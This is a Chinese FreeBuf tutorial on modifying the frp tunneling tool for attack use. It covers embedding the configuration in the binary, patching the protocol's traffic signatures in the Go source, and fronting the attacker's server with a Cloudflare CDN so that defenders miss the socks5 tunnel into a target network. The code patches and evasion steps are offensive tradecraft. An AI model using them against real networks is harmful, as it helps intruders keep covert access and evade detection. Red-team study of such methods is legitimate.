freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

frp优化用于免杀和流量隐蔽
2022-05-11 17:03:26
所属地 山东省

前言

工欲善其事,必先利其器。由于frp并不是主要以渗透测试内网穿透为目的而开发的软件,所以为符合攻击对抗的要求需要对其进行改造来达到免杀、流量隐蔽等要求。

使用原版加载参数的方式一旦被防守者发现极易暴露攻击者信息,可以采取无配置文件落地或者半落地方式来规避防守。

效果如下:

frpc.exe -i x.x.x.x -p 17000 -r 10000 

frpc.exe //内置所有配置参数

*命令行方式可在windows系统中可以隐藏命令参数,在linux系统可以使用history查看到,想要彻底规避需要将所需参数直接写在frp源码中再重新编译。

frpc是frp的客户端,GitHub原版使用frpc.ini传递运行参数,常使用的参数有以下几个:

[common]
server_addr = 127.0.0.1 
server_port = 17000
tls_enable = true  //传输过程使用tls加密
token = zhangyida  //连接服务端密码

[socks5_proxy]
type = tcp
plugin = socks5    
plugin_user = zyd		
plugin_passwd = zyd  
remote_port = 10000   

首先在实现之前,需要知晓原版frp是如何传递参数即frpc参数传递分析。

frp参数传递过程简析

以0.33版本frp传参代码的实现如下:

cmd/frpc/sub/root.go

//init():初始化参数,c代表config文件地址;v表示frpc版本
func init() {
	rootCmd.PersistentFlags().StringVarP(&cfgFile, "config", "c", "./frpc.ini", "config file of frpc")
	rootCmd.PersistentFlags().BoolVarP(&showVersion, "version", "v", false, "version of frpc")

	kcpDoneCh = make(chan struct{})
}


var rootCmd = &cobra.Command{
  //提示信息如下
	Use:   "frpc",
	Short: "frpc is the client of frp (https://github.com/fatedier/frp)",
	RunE: func(cmd *cobra.Command, args []string) error {
		if showVersion {
			fmt.Println(version.Full())
			return nil
		}

		// Do not show command usage here.
        //通过runClient方法读取配置文件信息并向服务端注册搭建隧道
		err := runClient(cfgFile)
		if err != nil {
			fmt.Println(err)
			os.Exit(1)
		}
		return nil
	},
}

跟进runClient方法,发现以下3个方法跟解析配置文件相关

1652259571_627b7af316145e58b4f11.png!small

config.GetRenderedConfFromFile实现读取ini格式配置文件并最终转换为字符串

//models/config/values.go

package config

import (
	"bytes"
	"io/ioutil"
	"os"
	"strings"
	"text/template"
)

var (
	glbEnvs map[string]string
)

func init() {
	glbEnvs = make(map[string]string)
	envs := os.Environ()
	for _, env := range envs {
		kv := strings.Split(env, "=")
		if len(kv) != 2 {
			continue
		}
		glbEnvs[kv[0]] = kv[1]
	}
}

type Values struct {
	Envs map[string]string // environment vars
}

func GetValues() *Values {
	return &Values{
		Envs: glbEnvs,
	}
}

func RenderContent(in string) (out string, err error) {
	tmpl, errRet := template.New("frp").Parse(in)
	if errRet != nil {
		err = errRet
		return
	}

	buffer := bytes.NewBufferString("")
	v := GetValues()
	err = tmpl.Execute(buffer, v)
	if err != nil {
		return
	}
	out = buffer.String()
	return
}

func GetRenderedConfFromFile(path string) (out string, err error) {
	var b []byte
	b, err = ioutil.ReadFile(path)
	if err != nil {
		return
	}
	content := string(b)

	out, err = RenderContent(content)
	return
}

parseClientCommonConf,根据传递参数方式选择ini文件格式或者命令行方式。

1652259580_627b7afc0e0000bdb9294.png!small

当为ini文件时,解析config.GetRenderedConfFromFile返回的字符串

1652259585_627b7b0196ee2709e98b7.png!small

config.UnmarshalClientConfFromIni将content字符串转换成结构体返回cfg

1652259592_627b7b08a1b7bb6aaaaff.png!small

当传递参数方式为命令行时,注意这个参数只是frpc的[common]参数。

1652259599_627b7b0f0422b57131a46.png!small

config.loadAllConfFromIni主要实现读取代理相关参数

1652259604_627b7b1498f7fdb38169e.png!small

命令行传参

向cobra的init方法添加serverAddr、serverPort、forwardPort

func init() {
	//rootCmd.PersistentFlags().StringVarP(&cfgFile, "config", "c", "./frpc.ini", "config file of frpc")
	//rootCmd.PersistentFlags().BoolVarP(&showVersion, "version", "v", false, "version of frpc")

	rootCmd.PersistentFlags().StringVarP(&serverAddr, "server_addr", "i", "1.1.1.1", "server_addr")
	rootCmd.PersistentFlags().StringVarP(&serverPort, "server_port", "p", "18000", "server_port")
	rootCmd.PersistentFlags().StringVarP(&forwardPort, "remote_port", "r", "11000", "remote_port")

	kcpDoneCh = make(chan struct{})
}

构造getConfFromCmd方法,将frpc.ini内容写入并传递添加的参数

func getConfFromCmd(serverAddr string, serverPort string, fport string) {
	fileContent = `[common]
server_addr =` + serverAddr + `
server_port = ` + serverPort + `
tls_enable = true 
token = zyd 

[socks5_proxy]
type = tcp
plugin = socks5    
plugin_user = zyd		
plugin_passwd = zyd  
remote_port = ` + forwardPort + `
`

}

修改runClient方法,使用写入的frpc.ini取代原来读取配置文件的方法

func runClient(cfgFilePath string) (err error) {
	var content string
	getConfFromCmd(serverAddr, serverPort, forwardPort)
	content, err = fileContent, nil
	if err != nil {
		return
	}

	cfg, err := parseClientCommonCfg(CfgFileTypeIni, content)

	if err != nil {
		return
	}

	pxyCfgs, visitorCfgs, err := config.LoadAllConfFromIni(cfg.User, content, cfg.Start)
	if err != nil {
		return err
	}

	err = startService(cfg, pxyCfgs, visitorCfgs, cfgFilePath)
	return
}

实现命令行传递参数,隧道搭建成功

1652259611_627b7b1ba8b2d64e61426.png!small

frpc.ini完全写入源码

将getConfFromCmd方法中的所有待定参数给定即可

func getConfFromCmd(serverAddr string, serverPort string, fport string) {
	fileContent = `[common]
server_addr =  1.1.1.1
server_port = 12321
tls_enable = true 
token = zyd 

[socks5_proxy]
type = tcp
plugin = socks5    
plugin_user = zyd		
plugin_passwd = zyd  
remote_port = 11000
`

}

特征修改

特征一

在tls_enable为false时,frpc与frps之间的认证流量存在特征,在models/msg/msg.go中修改。

1652259617_627b7b21424bb0095d0e2.png!small

特征二

frp为了端口复用,建立TLS连接时第一个字节是固定的0x17,且后面数据包大小为317,在utils/net/tls.go中进行修改。

1652259622_627b7b26821bd047e28d9.png!small

CDN隐藏真实IP

经过以上修改的frp无法完全隐藏攻击者vps ip,可以使用websocket协议实现cdn来规避。

1652259627_627b7b2bb4a860d600bdb.png!small

首先在godady购买一个域名

1652259633_627b7b31041982c8f0279.png!small

使用cloudflare实现免费cdn,不能使用国内服务器,使用xg或者国外vps且免费版的cloudflare存在端口限制,只能使用常见http/s使用的端口。

http:80,8080,8880,2052,2082,2086,2095

https:443,2053,2083,2087,2096,8443

1652259638_627b7b36d4bbcc4224985.png!small

修改源码中的server_addr为自己的域名

1652259643_627b7b3ba91ca747eeb00.png!small

效果

删除不必要文件后使用frp自带的packge.sh编译缩后在目标执行即可。

1652259648_627b7b405eef72855d854.png!small

1652259653_627b7b45886680e2756ae.png!small

参考

https://uknowsec.cn/posts/notes/FRP%E6%94%B9%E9%80%A0%E8%AE%A1%E5%88%92.html

https://sec.lz520520.com/2020/11/566/

# 网络安全 # 工具分析
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录